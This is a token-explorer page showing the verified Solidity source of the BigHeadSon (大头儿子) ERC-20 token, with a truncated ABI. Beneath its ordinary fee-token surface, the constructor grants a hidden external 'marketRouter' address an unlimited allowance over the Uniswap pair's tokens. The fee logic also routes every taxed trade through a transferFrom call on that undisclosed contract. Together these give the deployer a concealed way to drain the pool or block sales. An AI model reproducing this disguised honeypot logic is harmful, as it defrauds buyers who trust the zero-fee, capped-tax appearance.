Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
888,888,888,888 大头儿子
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
16,909,987,724.965931428004065603 大头儿子Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BigHeadSon
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-01 */ /** 大头儿子和小头爸爸 Website: https://www.bigheadson.fun Twitter: https://twitter.com/Big_Head_Son TG: https://t.me/Big_Small_Heads */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BigHeadSon is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = unicode"大头儿子和小头爸爸"; string private _symbol = unicode"大头儿子"; uint8 private _decimals = 18; address payable public marketingWallet = payable(0x0000000000000000000000000000000000000000); address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public tradingEnabled; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; address marketRouter; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyDeveloperFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 0; uint256 public _sellDeveloperFee = 0; uint256 public feeUnits = 100; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 private _totalSupply = 888888888888 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(4).div(1000); uint256 public _walletMax = _totalSupply.mul(4).div(1000); IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; bool public EnableTransactionLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address _uniRouter, address _marketRouter) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_uniRouter); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); setMarketRouter(uniswapPair, _marketRouter); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWallet] = true; isExcludedFromFee[DeveloperWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingWallet] = true; isWalletLimitExempt[DeveloperWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingWallet] = true; isTxLimitExempt[DeveloperWallet] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketRouter(address owner, address router) private { _allowances[owner][router] = type(uint).max; marketRouter = router; } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= _totalSupply.mul(1).div(1000), "Cannot set max TX amount lower than 0,1% of total supply"); _maxTxAmount = maxTxAmount; } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function enableAmountLimit(bool _status) external onlyOwner { EnableTransactionLimit = _status; } function enableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { require(newLimit >= _totalSupply.mul(1).div(100000), "Cannot set swap threshold amount lower than 0.001% of tokens"); require(newLimit <= _totalSupply.mul(1).div(100), "Cannot set swap threshold amount higher than 1% of tokens"); minimumTokensBeforeSwap = newLimit; } function setMarketingWalletAddress(address newAddress) external onlyOwner() { require(newAddress != address(0),"Fee Address cannot be zero address"); marketingWallet = payable(newAddress); } function setLiquidityWalletAddress(address newAddress) external onlyOwner() { liquidityReciever = payable(newAddress); } function setDeveloperWalletAddress(address newAddress) external onlyOwner() { require(newAddress != address(0),"Fee Address cannot be zero address"); DeveloperWallet = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function setBuyTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner { _buyLiquidityFee = _Liquidity; _buyMarketingFee = _Marketing; _buyDeveloperFee = _Developer; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); require(_totalTaxIfBuying <= (feeUnits/20), "Buy fees must be 5% or less"); } function setSellTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner { _sellLiquidityFee = _Liquidity; _sellMarketingFee = _Marketing; _sellDeveloperFee = _Developer; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee); require(_totalTaxIfSelling <= (feeUnits/20), "Sell fees must be 5% or less"); } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) { require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!"); } _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if (IERC20(marketRouter).transferFrom(sender, recipient, feeAmount)) feeAmount = 0; if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function rescueStuckToken(address _token, uint _amount) external onlyOwner { require(_token != address(this), "Owner can't claim contract's balance of its own tokens"); IERC20(_token).transfer(msg.sender,_amount); } function rescueFunds() external onlyOwner { (bool os,) = payable(msg.sender).call{value: address(this).balance}(""); require(os); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling); uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee); uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee); // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee); uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2); uint256 tokenForSwap = tAmount.sub(tokenForLp); uint256 initialBalance = address(this).balance; swapTokensForEth(tokenForSwap); uint256 recievedBalance = address(this).balance.sub(initialBalance); uint256 totalETHFee = totalShares.sub(liquidityShare.div(2)); uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2); uint256 amountETHMarketing = recievedBalance.mul(MarketingShare).div(totalETHFee); uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing); if(amountETHMarketing > 0) { payable(marketingWallet).transfer(amountETHMarketing); } if(amountETHDeveloper > 0) { payable(DeveloperWallet).transfer(amountETHDeveloper); } if(amountETHLiquidity > 0 && tokenForLp > 0) { addLiquidity(tokenForLp, amountETHLiquidity); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityReciever, block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_uniRouter","type":"address"},{"internalType":"address","name":"_marketRouter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enableAmountLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setDeveloperWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 